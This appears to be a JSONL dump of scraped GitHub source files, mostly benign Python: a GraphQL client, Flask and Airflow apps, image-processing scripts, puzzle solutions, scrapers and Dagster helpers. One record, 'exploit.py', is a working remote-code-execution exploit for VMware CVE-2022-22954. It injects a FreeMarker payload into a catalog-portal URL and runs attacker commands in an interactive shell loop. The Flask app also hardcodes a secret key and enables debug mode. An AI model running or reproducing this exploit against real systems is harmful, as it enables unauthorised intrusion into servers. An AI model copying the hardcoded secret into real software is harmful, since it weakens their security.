+{"seq_id":"25384287794","text":"\"\"\"GraphQL interface\"\"\"\n\n__copyright__ = \"\"\"\nCopyright (C) 2021 Manetu Inc.\nAuthor: Alex Tsariounov <alext@manetu.com>\n\nThis is free software; please see the LICENSE file\nfor details and any restrictions.\n\"\"\"\n\nimport json, time, urllib.parse, urllib.request, http.client\nfrom urllib.error import URLError\n\nclass GQL(object):\n    \"\"\"GraphQL server encapsulating class\"\"\"\n\n    def __init__(self, headers, uri, verbosity):\n        \"\"\"constructor with a dict as headers and a uri pointing to the server\"\"\"\n        self.headers = headers\n        self.uri = uri\n        self.verbosity = verbosity\n\n    def __send_command(self, data):\n        \"\"\"send actual data command, return decoded body\"\"\"\n        request = urllib.request.Request(self.uri, data, self.headers)\n        request.add_header('Content-Type', 'application/json; charset=utf-8')\n        request.add_header('Content-Length', len(data))\n        if self.verbosity > 2:\n            print(f'request.full_url: {request.full_url}')\n            print(f'request.header_items: {request.header_items()}')\n            print(f'request.data: {request.data}')\n\n        try:\n            attempts = 5\n            for i in range(attempts):\n                tik = time.perf_counter()\n                rsp = urllib.request.urlopen(request)\n                try:\n                    tok = time.perf_counter()\n                    response = rsp.read()\n                    if self.verbosity > 0:\n                        print(f'api call took (seconds): {tok-tik:0.3f}')\n                        if self.verbosity > 1:\n                            print(f'read response in {i+1} tr{\"ies\" if i>1 else \"y\"}')\n                    break\n                except http.client.IncompleteRead:\n                    if i >= attempts-1:\n                        if self.verbosity > 0:\n                            print(f'incomplete read #{i+1} -> giving up')\n                        raise\n                    tm = i*3\n                    if self.verbosity > 1:\n                        print(f'incomplete read, wating {tm} seconds to retry...')\n                    rsp.close()\n                    time.sleep(tm)\n\n        except URLError as e:\n            if self.verbosity > 0:\n                if hasattr(e, 'reason'):\n                    print(f\"Can't reach server {self.uri} because: {e.reason}\")\n                elif hasattr(e, 'code'):\n                    print(f\"Server error (code: {e.code}): {e.msg}\")\n                msg = e.read().decode()\n                if msg != None:\n                    try:\n                        print(json.dumps(json.loads(msg), indent=2))\n                    except:\n                        print(msg)\n            raise e\n\n        return response.decode('utf-8')\n\n    def query(self, query, variables=None):\n        \"\"\"takes a json query and a variables dict (if any) as parameters, returns json_data, raises if status is bad, or other error\"\"\"\n        if variables == None:\n            data = json.dumps({'query': query}).encode('utf-8') # encode to bytes\n        else:\n            data = json.dumps({'query': query, 'variables': variables}).encode('utf-8')\n\n        if self.verbosity > 2:\n            print(f'using query: {data}')\n\n        return self.__send_command(data)        \n\n    def mutation(self, mutation, variables=None):\n        \"\"\"takes a json mutaions and a variables dict (if any) as parameters, returns json_data, raises if status is bad, or other error\"\"\"\n        if variables == None:\n            data = json.dumps({'query': 'mutation ' + mutation}).encode('utf-8') # encode to bytes\n        else:\n            data = json.dumps({'query': 'mutation ' + mutation, 'variables': variables}).encode('utf-8')\n\n        if self.verbosity > 2:\n            print(f'using mutation: {data}')\n\n        return self.__send_command(data)\n","repo_name":"manetu/manetu-ql","sub_path":"mql/gql.py","file_name":"gql.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18075068206","text":"import os\nfrom flask import Flask, redirect, url_for, render_template, Response, request, flash\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport io\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nfrom forms import QuizzForm\nfrom preprocessing import preprocess\nimport pickle\n#import pyreadr\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"]=\"MettezNous20svp?\"\n\n@app.route('/')\ndef Accueil():          \n    return render_template('Accueil.html')\n\n@app.route('/Data_Vizs')\ndef Dashboard():\n    return render_template('index.html')\n\n@app.route('/quizz', methods=['GET','POST'])\ndef quizz():\n\tform = QuizzForm()\n\tpreprocesser = preprocess()\n\tif form.validate_on_submit():\n\t\tdata_preprocessed= preprocess.transform(preprocesser, sex=form.sex.data, age=form.age.data, family_member=form.family_member.data, high_caloric_food=form.high_caloric_food.data, vegetables=form.vegetables.data, main_meals_per_day=form.main_meals_per_day.data, food_between_meals=form.food_between_meals.data, smoke=form.smoke.data, water=form.water.data, monitor=form.monitor.data, physical_acitivity=form.physical_acitivity.data, videogames=form.videogames.data, alcohol=form.alcohol.data, transportation=form.transportation.data)\n\t\tmodel = pickle.load(open(\"clf_RF.p\", \"rb\"))\n\t\tprediction= model.predict(data_preprocessed)\n\t\theight=form.height.data\n\t\tweight=form.weight.data\n\t\tMass_body_index = weight/(height*height)\n\t\tMass_body_index=round(Mass_body_index)\n\t\tprint(\"Mass_body_index\",Mass_body_index)\n\t\tif Mass_body_index < 18.5:\n\t\t\ttheoric_level=\"Insufficient_Weight\"\n\t\telif Mass_body_index < 24.9:\n\t\t\ttheoric_level=\"Normal_Weight\"\n\t\telif Mass_body_index < 27.9:\n\t\t\ttheoric_level=\"Overweigt_Weight I\"\n\t\telif Mass_body_index < 29.9:\n\t\t\ttheoric_level=\"Overweight_Weight II\"\n\t\telif Mass_body_index < 34.9:\n\t\t\ttheoric_level=\"Obesity_Level_I\"\n\t\telif Mass_body_index < 39.9:\n\t\t\ttheoric_level=\"Obesity_Level_II\"\n\t\telse:\n\t\t\ttheoric_level=\"Obesity_Level_III\"\n\n\t\treturn render_template(\"prediction.html\", prediction=prediction, theoric_level=theoric_level, Mass_body_index=Mass_body_index)\n\treturn render_template('quizz.html', title='Quizz', form=form)          \n\n\n\t\n## Errors\n\n@app.errorhandler(404)\ndef not_found_error(error):\n    return render_template('page-404.html'), 404\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True)\n  ","repo_name":"DiegoMateosPython/Obesity_Prediction_ESILV_project","sub_path":"flask API/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1052869332","text":"#!/usr/bin/env python3\n\n\nCHUNK_TYPES = {\n    '(': ')',\n    '[': ']',\n    '{': '}',\n    '<': '>',\n}\n\nCHAR_SCORE = {\n    ')': 1,\n    ']': 2,\n    '}': 3,\n    '>': 4,\n}\n\n\ndef main():\n    scores = []\n    with open('10.txt', 'rt') as f:\n        for line in f:\n            line_score = check_line(line.strip())\n            if line_score is not None:\n                scores.append(line_score)\n\n    scores = list(sorted(scores))\n    median = scores[len(scores) // 2]\n    print(median)\n\n\ndef check_line(line):\n    stack = []\n\n    for char in line:\n        if char in CHUNK_TYPES:\n            stack.append(CHUNK_TYPES[char])\n        elif stack and char == stack.pop():\n            continue\n        else:\n            return None\n\n    score = 0\n    for char in reversed(stack):\n        score = score * 5 + CHAR_SCORE[char]\n    return score\n\n\n\nif __name__ == '__main__':\n    main()","repo_name":"michalwiglasz/adventofcode2021","sub_path":"10b.py","file_name":"10b.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23592594539","text":"\ndef loopp(lisst):\n    for i in lisst:\n        if type(i) is int:\n            print(f'Цифра {i}')\n            if i<=0:\n                print(f'{i} мало')\n        else:\n            print(f'Буква {i}')\n            if i == 'a':\n                print('aAaAAaaaaaaAAa!!!!!1')\n\nloopp([1,2,'f',6,-5])\nloopp([-1,-2,'f',-6,-5, 'a'])\n\n\n\n","repo_name":"Iakym/Try","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18953877756","text":"import numpy as np\nimport cv2\np = np.poly1d([1,2,3])\nx = np.polyfit(x=[1,2,3], y=[1,2,3], deg=1)\np1 = np.poly1d(x)\n\n\nimage = cv2.imread(filename=r'clips\\road.jpg')\nprint(image)\nprint(f'image shape: {image.shape}')\ncv2.imshow('main image', image)\nimage = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n\nimage = cv2.Canny(image, 2,200)\n\n# edges = cv2.Canny(mask, 75, 150)\n\n\ndef detect_lines(image):\n    lines = cv2.HoughLinesP(image, 1, np.pi/180, 10, np.array([]), minLineLength=20, maxLineGap=100)\n    return lines\n\n\ndef best_line(frame, lines):\n    image = np.zeros_like(frame)\n\n    try:\n        x_left_line = []\n        y_left_line = []\n        x_right_line = []\n        y_right_line = []\n\n        for line in lines:\n        \n            x1, y1, x2, y2 = line[0]\n\n            cv2.line(image, (x1, y1), (x2, y2), (255,255,255),5)\n\n\n            #### calculating the slope:\n            slope = (y2-y1) / (x2-x1)\n            if abs(slope) < 0.5:\n                continue\n            elif slope <=0:\n                x_left_line.extend([x1, x2])\n                y_left_line.extend([y1, y2])\n            else:\n                x_right_line.extend([x1, x2])\n                y_right_line.extend([y1, y2])\n\n\n        ### considering the frame dimensions\n        min_y = int(image.shape[0]*(3/5))\n        max_y = int(image.shape[0])\n\n        left_line_equation = np.poly1d(np.polyfit(x=y_left_line, y=x_left_line, deg=1))\n        right_line_equation = np.poly1d(np.polyfit(x=y_right_line, y=x_right_line, deg=1))\n\n        x1_left = int(left_line_equation(max_y))\n        x2_left = int(left_line_equation(min_y))\n        x1_right = int(right_line_equation(max_y))\n        x2_right = int(right_line_equation(min_y))\n        right_slope = (max_y - min_y) / (x2_right-x1_right)\n        left_slope = (max_y - min_y) / (x2_left-x1_left)\n        \n        print(f\"left_slope: {left_slope}\")\n        print(f\"right_slope: {right_slope}\")\n        cv2.line(frame, (x1_left, max_y), (x2_left, min_y), (255,0,0), 5 )\n        cv2.line(frame, (x1_right, max_y), (x2_right, min_y), (255,0,0),5)\n    except:\n        print('error')\n        raise\n    return image\n\nlines = detect_lines(image)\ni = best_line(image, lines)\n\ncv2.imshow('i', i)\ncv2.imshow('iii', image)\ncv2.circle(image, center=(5,100),radius=3,color=(255,0,0), thickness=4 )\ncv2.imshow('i', image)\n\n\n\ncv2.waitKey(0)\n\n\n","repo_name":"ApolloNegar/iran_open","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37408087448","text":"import sys\ninput = sys.stdin.readline\n\ndef gcd(a,b):\n    while b != 0:\n        div = a%b\n        a = b\n        b = div\n    return a\n\n\na,b = map(int, input().split())\n\ngcd_result = gcd(a,b)\n\nprint(int(a*b/gcd_result))","repo_name":"pipi-shortstocking/CodingTest","sub_path":"백준/13241/1차.py","file_name":"1차.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70779858003","text":"from bs4 import BeautifulSoup\nfrom oacensus.scraper import JournalScraper\nfrom oacensus.utils import urlretrieve\nimport os\n\nclass ScimagoJournals(JournalScraper):\n    \"\"\"\n    Download Scimago journal info.\n    \"\"\"\n    aliases = ['scimago']\n\n    _settings = {\n            'base-url' : (\n                \"BASE url for downloading Scimago data.\",\n                \"http://www.scimagojr.com/journalrank.php\"\n                ),\n            'filename' : 'scimago.html',\n            'year' : (\"Year for which to return data.\", 2012)\n            }\n\n    def scrape(self):\n        params = {\n                'category' : 0,\n                'area' : 0,\n                'year' : self.setting('year'),\n                'country' : '',\n                'order' : 'sjr',\n                'page' : 0,\n                'min' : 0,\n                'min_type' : 'cd',\n                'out' : 'xls'\n                }\n\n        filepath = os.path.join(self.work_dir(), self.setting('filename'))\n        url = self.setting('base-url')\n        urlretrieve(url, params, filepath)\n\n    def process(self):\n        filepath = os.path.join(self.cache_dir(), self.setting('filename'))\n\n        with open(filepath, 'rb') as f:\n            soup = BeautifulSoup(f)\n\n        for i, row in enumerate(soup.find_all(\"tr\")):\n            if i == 0:\n                headers = row.find_all(\"th\")\n                assert headers[1].text == \"Title\"\n                assert headers[2].text == \"ISSN\"\n                assert headers[3].text == \"SJR\"\n                assert headers[4].text == \"H index\"\n                assert headers[5].text == \"Total Docs. (%s)\" % self.setting('year')\n                assert headers[6].text == \"Total Docs. (3years)\"\n                assert headers[7].text == \"Total Refs.\"\n                assert headers[8].text == \"Total Cites (3years)\"\n                assert headers[9].text == \"Citable Docs. (3years)\"\n                assert headers[10].text == \"Cites / Doc. (2years)\"\n                assert headers[11].text == \"Ref. / Doc.\"\n                assert headers[12].text == \"Country\"\n            else:\n                cells = row.find_all(\"td\")\n\n                issn = cells[2].text.strip(\"=\\\"\")\n\n                if issn == '0':\n                    continue\n\n                params = {\n                        'title' : cells[1].text.strip(),\n                        'country' : cells[12].text.strip()\n                        }\n\n                self.create_or_modify_journal(issn, params)\n","repo_name":"ananelson/oacensus","sub_path":"oacensus/scrapers/scimago.py","file_name":"scimago.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"20670259320","text":"\ndef fib(max):\n    a,b,n = 0,1,1\n    while n < max:\n        yield b\n        a , b = b , a + b\n        n = n+1\n    return 'hahahah__done'\n\nlst = fib(10)\nprint(lst)\n\n\ntry:\n    while True:\n        print(lst.__next__())\nexcept StopIteration as aaa:\n    print(aaa.value)\n","repo_name":"everydayxy/xy_py","sub_path":"日常练习/菲波那切数列.py","file_name":"菲波那切数列.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21176541530","text":"import requests\nimport sys\nimport urllib3\n\n\ndef encode_all(string):\n    return \"\".join(\"%{0:0>2}\".format(format(ord(char), \"x\")) for char in string)\n\n\ndef main(command):\n    userSite = sys.argv[1]\n    parseMode = True\n    if \"--raw\" in command:\n        parseMode = False\n    # If the user includes a / at the end of the command, remove it\n    if userSite.endswith(\"/\"):\n        userSite = userSite[:-1]\n    url = userSite + \"/catalog-portal/ui/oauth/verify?error=&deviceUdid=\"\n    # This is the payload that will be sent to the server\n    # command = input(\"Enter the command to execute: \")\n    unencoded_payload = '''${\"freemarker.template.utility.Execute\"?new()(\"''' + \\\n        command + '''\")}'''\n    # URL encode every character in command\n    payload = encode_all(unencoded_payload)\n    # print(\"[+] Sending payload: \" + payload)\n\n    # This is the headers that will be used to send the payload\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\",\n        \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n        \"Accept-Language\": \"en-US,en;q=0.5\",\n        \"Accept-Encoding\": \"gzip, deflate\",\n        \"Connection\": \"close\",\n        \"Upgrade-Insecure-Requests\": \"1\",\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        \"Content-Length\": \"0\",\n    }\n\n    # This is the request that will be sent to the server\n    # Allow insecure requests to bypass the certificate check\n    # Ignore the insecure warning\n    urllib3.disable_warnings()\n    request = requests.get(url + payload, headers=headers, verify=False)\n    # This is the response that will be received from the server\n    response = request.text\n    # This is the output that will be displayed to the user\n    output = \"\"\n    if parseMode:\n        try:\n            output = response.split(\"device id: \")[1].split(\", device type\")[0]\n        except:\n            if response.find(\"---begin-message---\") != -1:\n                output = response.split(\n                    \"---begin-message---\")[1].split(\"---end-message---\")[0]\n            else:\n                output = response\n    else:\n        output = response\n    # Convert all of the \\n to a proper newline\n    output = output.replace(\"\\\\n\", \"\\n\")\n    print(output)\n\nif __name__ == \"__main__\":\n    if sys.argv[1] == \"--help\":\n        print(\"Usage: python3 run.py <URL>\")\n    else:\n        # Loop until the user exits the program\n        while True:\n            command = input(\"$: \")\n            if command == \"exit\":\n                break\n            else:\n                main(command)\n","repo_name":"tyleraharrison/VMware-CVE-2022-22954-Command-Injector","sub_path":"exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70690062163","text":"import matplotlib.pyplot as plt\nfrom matplotlib.patches import ConnectionPatch\nimport numpy as np\n\n\ndef bilinear_interpolation(x, y, values):\n    f11, f12, f21, f22 = values\n\n    x_frac = abs(x) - abs(int(x))\n    y_frac = abs(y) - abs(int(y))\n    one_minus_x_frac = 1 - x_frac\n    one_minus_y_frac = 1 - y_frac\n    if x < 0:\n        x_frac, one_minus_x_frac = one_minus_x_frac, x_frac\n    if y < 0:\n        y_frac, one_minus_y_frac = one_minus_y_frac, y_frac\n    coeff_tl = one_minus_x_frac * one_minus_y_frac\n    coeff_tr = x_frac * one_minus_y_frac\n    coeff_bl = one_minus_x_frac * y_frac\n    coeff_br = x_frac * y_frac\n\n    return (f11 * coeff_tl +\n            f12 * coeff_tr +\n            f21 * coeff_bl +\n            f22 * coeff_br), [coeff_tl, coeff_tr, coeff_bl, coeff_br]\n\ndef get_neighbours(x, y):\n    if -1 < x < 0:\n        x = -1\n    if -1 < y < 0:\n        y = -1\n    return [(int(x), int(y)),\n            (int(x) + 1, int(y)),\n            (int(x), int(y) + 1),\n            (int(x) + 1, int(y) + 1)]\n\nif __name__ == '__main__':\n    # Create a synthetic image\n    image = np.array([[1, 2, 3],\n                    [4, 5, 6],\n                    [7, 8, 9]])\n\n    # Select interpolation point\n    x = 1.33\n    y = 1.25\n\n    # Nearest neighbors\n    points = get_neighbours(x, y)\n    values = [image[int(y1), int(x1)] for x1, y1 in points]\n\n    # Perform interpolation\n    interp_value, coefficients = bilinear_interpolation(x, y, values)\n\n    # Create subplots\n    fig, axes = plt.subplots(1, 2, figsize=(16, 8))\n\n    # Plot original image on the left subplot\n    axes[0].imshow(image, vmin=1, vmax=9, cmap='gray')\n\n    # Mark the points used for interpolation\n    for px, py in points:\n        axes[0].scatter(px, py, c='r', marker='o', s=200)\n        axes[0].text(px + 0.1, py - 0.05, f\"({px},{py})\", fontsize=14, color='blue', weight='bold')\n\n    # Mark the interpolation point\n    axes[0].scatter(x, y, c='b', marker='x', s=200)\n    axes[0].text(x + 0.1, y - 0.05, f\"({x},{y}) = {interp_value:.2f}\", fontsize=14, color='blue', weight='bold')\n\n    # Add coefficients\n    for (px, py), coef in zip(points, coefficients):\n        axes[0].text(px - 0.45, py - 0.2, f\"coeff={coef:.2f}\", fontsize=16, color='darkred')\n\n    # Add values\n    for (px, py), val in zip(points, values):\n        axes[0].text(px - 0.45, py - 0.3, val, fontsize=24, color='darkred')\n\n    axes[0].set_title(\"Original Image\")\n\n    # Create output image\n    output_image = np.zeros_like(image)\n    output_image[2, 2] = interp_value\n\n    # Plot output image on the right subplot\n    axes[1].imshow(output_image, vmin=1, vmax=9, cmap='gray')\n    axes[1].set_title(\"Output Image with Interpolated Pixel\")\n\n    # Add the final interpolated value on the right subplot\n    axes[1].text(2 - 0.45, 2 - 0.3, f\"{int(interp_value)}\", fontsize=24, color='darkred', zorder=0)\n\n    # Add curved arrow pointing to new position\n    ab = [axes[0], axes[1]]\n    print(axes[0].get_xlim())\n    print(axes[0].get_ylim())\n    xyA = (x, y)\n    xyB = (2.0, 2.0)\n    con = ConnectionPatch(xyA=xyA, xyB=xyB, coordsA=\"data\", coordsB=\"data\", axesA=ab[0], axesB=ab[1],\n                        arrowstyle=\"-|>\", color=\"red\", lw=2, connectionstyle=\"arc3,rad=-0.3\")\n    ab[1].add_artist(con)\n    plt.savefig('/Users/zach-mcc/KTH/Accerion-Thesis/Thesis Writing/Figures/My Figures/Bilinear Interpolation/bilinear_interpolation.pdf')\n    plt.savefig('/Users/zach-mcc/KTH/Accerion-Thesis/Thesis Writing/Figures/My Figures/Bilinear Interpolation/bilinear_interpolation.png', transparent=True)\n    plt.show()\n","repo_name":"thechosenone98/FPGA-OpenCV-Undistort","sub_path":"FPGA/python_scripts/linear_interpolation_visual.py","file_name":"linear_interpolation_visual.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34178161412","text":"import json\nimport os\nfrom typing import Union\n\nfrom dagster import (\n    AssetKey,\n    AssetsDefinition,\n    AssetSelection,\n    DefaultSensorStatus,\n    GraphDefinition,\n    Optional,\n    RunRequest,\n    SensorEvaluationContext,\n    asset_sensor,\n    define_asset_job,\n)\n\n\ndef generate_asset_and_job_from_graph(\n    job_name: str,\n    graph: GraphDefinition,\n    asset_key: list[str],\n    config: Union[dict, None],\n    asset_group_name: Optional[str] = None,\n    metadata_by_output_name: Optional[dict] = None,\n    resource_defs=None,\n) -> dict:\n    asset = AssetsDefinition.from_graph(\n        graph,\n        keys_by_output_name={\"result\": AssetKey(asset_key)},\n        group_name=asset_group_name,\n        metadata_by_output_name=metadata_by_output_name,\n        resource_defs=resource_defs,\n    )\n\n    asset_job = define_asset_job(\n        name=f\"{job_name}\",\n        selection=AssetSelection.keys(AssetKey(asset_key)).downstream(),\n        config=config,\n    )\n\n    return {\"asset\": asset, \"asset_job\": asset_job}\n\n\ndef generate_dbt_downstream_asset_sensors(project):\n    manifest_path = os.path.join(\"dp_dbthub\", project, \"target\", \"manifest.json\")\n    with open(manifest_path, \"r\", encoding=\"utf8\") as f:\n        manifest_json = json.load(f)\n\n    asset_sensors = []\n    for _, source in manifest_json[\"sources\"].items():\n        source_asset_key = [source[\"source_name\"], source[\"schema\"], source[\"name\"]]\n        # assumption: source asset key is always two elements following the schema [\"src_landing\", \"src_<table>\"]\n        table_wo_prefix = source_asset_key[2][4:]\n        selection_asset = [\"src_rawmart\", f\"raw_{table_wo_prefix}\"]\n\n        downstream_asset_job = define_asset_job(\n            name=f\"{table_wo_prefix}_downstream_job\",\n            selection=AssetSelection.keys(AssetKey(selection_asset)).downstream(),\n        )\n\n        @asset_sensor(\n            name=f\"{table_wo_prefix}_sensor\",\n            asset_key=AssetKey(source_asset_key),\n            job=downstream_asset_job,\n            default_status=DefaultSensorStatus.RUNNING,\n        )\n        def downstream_asset_sensor(context: SensorEvaluationContext, _):\n            yield RunRequest(run_key=context.cursor)\n\n        asset_sensors.append(downstream_asset_sensor)\n\n    return asset_sensors\n","repo_name":"askvinni/dagster-playground","sub_path":"dagster-utils/dagster_utils/dagsterhub/asset_job_factory.py","file_name":"asset_job_factory.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22740784517","text":"#!/usr/bin/env python\n\nimport rospy\nimport sys\n\nimport tf\nfrom nav_msgs.msg import Odometry\n\nclass OdomPublisher():\n    def __init__(self, from_tf_name, to_tf_name, odom_topic):\n        rospy.Subscriber(odom_topic, Odometry, self.on_odom_msg)\n        self.tf_broadcaster = tf.TransformBroadcaster()\n\n    def on_odom_msg(self, msg):\n        pose = msg.pose.pose.position\n        self.tf_broadcaster.sendTransform( (pose.x, pose.y, 0),\n                        (0, 0, 0, 1), \n                        msg.header.stamp,\n                        #rospy.Time(),\n                        to_tf_name,\n                        from_tf_name)\n        \n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 4:\n        print (\"Usage: \" + sys.argv[0] + \" from_tf_name to_tf_name /odom_topic \")\n        sys.exit(-1)\n    rospy.init_node(\"odom_tf_publisher\")\n    from_tf_name = sys.argv[1]\n    to_tf_name = sys.argv[2]\n    odom_topic = sys.argv[3]\n    odom_publisher = OdomPublisher(from_tf_name, to_tf_name, odom_topic)\n    rospy.spin()\n","repo_name":"gchen2016/gazebo-models","sub_path":"urdf/rover_amalia/odom_tf_broadcaster.py","file_name":"odom_tf_broadcaster.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25345191330","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb  9 00:42:32 2022\n\n@author: Oscar A Suarez Castillo\n\n----------------------------------------------\nThis script use a Self Organized Map for a fraud detection\n----------------------------------------------\n\n*The ord() function returns the unicode from a given character, example: \n    ord(c)=99\n\n*For this database i used this transform in the Sucursal, Territorio and\nCliente for made a change in the values of the database from string to\nfloat. This change facilite the calculus.\n\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Data Import \ndataset = pd.read_csv('./DatasetPagos.csv')\n\n# -------------------Data Wrangling---------------------\n\n# Cleaning the dataset\n\n# Quit NaN values \n\ndataset['Contrato_con_Fraude']=dataset['Contrato_con_Fraude'].fillna(0)\n\n\n# droping the last raw \ndataset = dataset.drop(dataset.index[30572])\n\n#dataset['Contrato_con_Fraude']=dataset['Contrato_con_Fraude'].replace('nan',0)\n\n# Changing Sucursal ord(s) = 83\ndataset['Sucursal'] = dataset['Sucursal'].str.replace('Sucursal','83')\n\n# Changing Territorio ord(M)=77, ord(E)=69, ord(X)=120\ndataset['Territorio'] = dataset['Territorio'].str.replace('MEX-','7769120')\n\n# Changing Sucursal ord(C)=99\ndataset['Cliente'] = dataset['Cliente'].str.replace('C','99')\n\ndataset['Agreement_Num'] = dataset['Agreement_Num'].str.replace('AG','6571')\n\n# Changing Fecha_Pago to datetime\ndataset['Fecha_Pago']=pd.to_datetime(dataset['Fecha_Pago'])\n\n# Quit white spaces in the database\ndef remove_whitespace(x):\n    try:\n        x = ''.join(x.split())\n    except:\n        pass\n    return x\ndataset.Sucursal = dataset.Sucursal.apply(remove_whitespace)\n\n# Changing values to float\ndataset['Sucursal'] = pd.to_numeric(dataset['Sucursal'])\ndataset['Territorio'] = pd.to_numeric(dataset['Territorio'])\ndataset['Cliente'] = pd.to_numeric(dataset['Cliente'])\ndataset['Agreement_Num'] = pd.to_numeric(dataset['Agreement_Num'])\ndataset['Fecha_Pago']=pd.to_numeric(dataset['Fecha_Pago'])\ndataset['Contrato_con_Fraude']=dataset['Contrato_con_Fraude'].astype(int)\n\n#-------------------Finish Data Wrangling-----------------------\n\n# Split data\nX = dataset.iloc[:, :-1].values\nY = dataset.iloc[:,-1].values\n\n# Feature Scaling\nfrom sklearn.preprocessing import MinMaxScaler\nsc = MinMaxScaler(feature_range=(0,1))\nX = sc.fit_transform(X)\n\n# NAO Train\nfrom minisom import MiniSom \nsom = MiniSom(x=10,y=10,input_len=9, sigma=1.0, learning_rate=0.5)\nsom.random_weights_init(X)\nsom.train_random(data=X, num_iteration=4000)\n\n# Show the results\nfrom pylab import bone,pcolor,colorbar,plot,show\nbone()\npcolor(som.distance_map())\ncolorbar()\nmarkers=['o','s']\ncolors=['r','b']\nfor i,x in enumerate(X):\n    w = som.winner(x)\n    plot(w[0]+0.5,\n         w[1]+0.5,\n         markers[Y[i]],\n         markeredgecolor = colors[Y[i]],\n         markerfacecolor = 'None',\n         markersize = 10,\n         markeredgewidth = 2)\nshow()\n\n# detecting fraud\nmapeos = som.win_map(X)\nfraud = np.concatenate((mapeos[(2,7)],mapeos[(3,3)],mapeos[(8,4)],mapeos[(2,1)]), axis=0)\nfraud = sc.inverse_transform(fraud)","repo_name":"oasc14/FraudDetection","sub_path":"DeteccionFraude.py","file_name":"DeteccionFraude.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17290718006","text":"from airflow.models import DAG\nfrom datetime import datetime, timedelta\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom covid.utils import get_covid_data, json_to_df, load_to_stage_area\nimport json\n\nDEFAULT_ARGS = {\n    'owner': 'extractor',\n    'depends_on_past': False,\n    'email_on_failure': False,\n    'email_on_retry': False,\n    'start_date': datetime(2020,12,23),\n    'schedule_interval': '@daily',\n    'max_active_runs': 1,\n    'retries': 3,\n    'retry_delay': timedelta(minutes=1)\n}\n\nDAG_ID = 'covid'\n\nwith DAG(dag_id=DAG_ID, default_args=DEFAULT_ARGS) as dag:\n    with open('/usr/local/airflow/dags/covid/sqls/ddl_covid_timeseries.sql', 'r') as f:\n        sql = f.read()\n    create_table_if_not_exists = PostgresOperator(task_id='check_table', postgres_conn_id='postgres_staging' ,sql=sql)\n\n    extract = PythonOperator(\n        task_id='extract',\n        python_callable=get_covid_data,\n        op_kwargs={'uri':'https://api.covid19india.org/v4/timeseries.json'},\n        provide_context=True\n    )\n\n    transform = PythonOperator(\n        task_id='transform',\n        python_callable=json_to_df,\n        op_kwargs={'start_date': '2020-01-01', \n                'end_date': '9999-12-31'},\n        provide_context=True\n    )\n\n    stage_load = PythonOperator(\n        task_id='stage_load',\n        python_callable=load_to_stage_area,\n        provide_context=True\n    )\n\n    with open('/usr/local/airflow/dags/covid/sqls/target_load.sql', 'r') as f:\n        sql = f.read()\n    target_load = PostgresOperator(task_id='target_load', postgres_conn_id='postgres_staging', sql=sql)\n\n    create_table_if_not_exists >> stage_load\n    extract >> transform >> stage_load >> target_load","repo_name":"rohithreddykota/airflow-covid","sub_path":"dags/covid/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
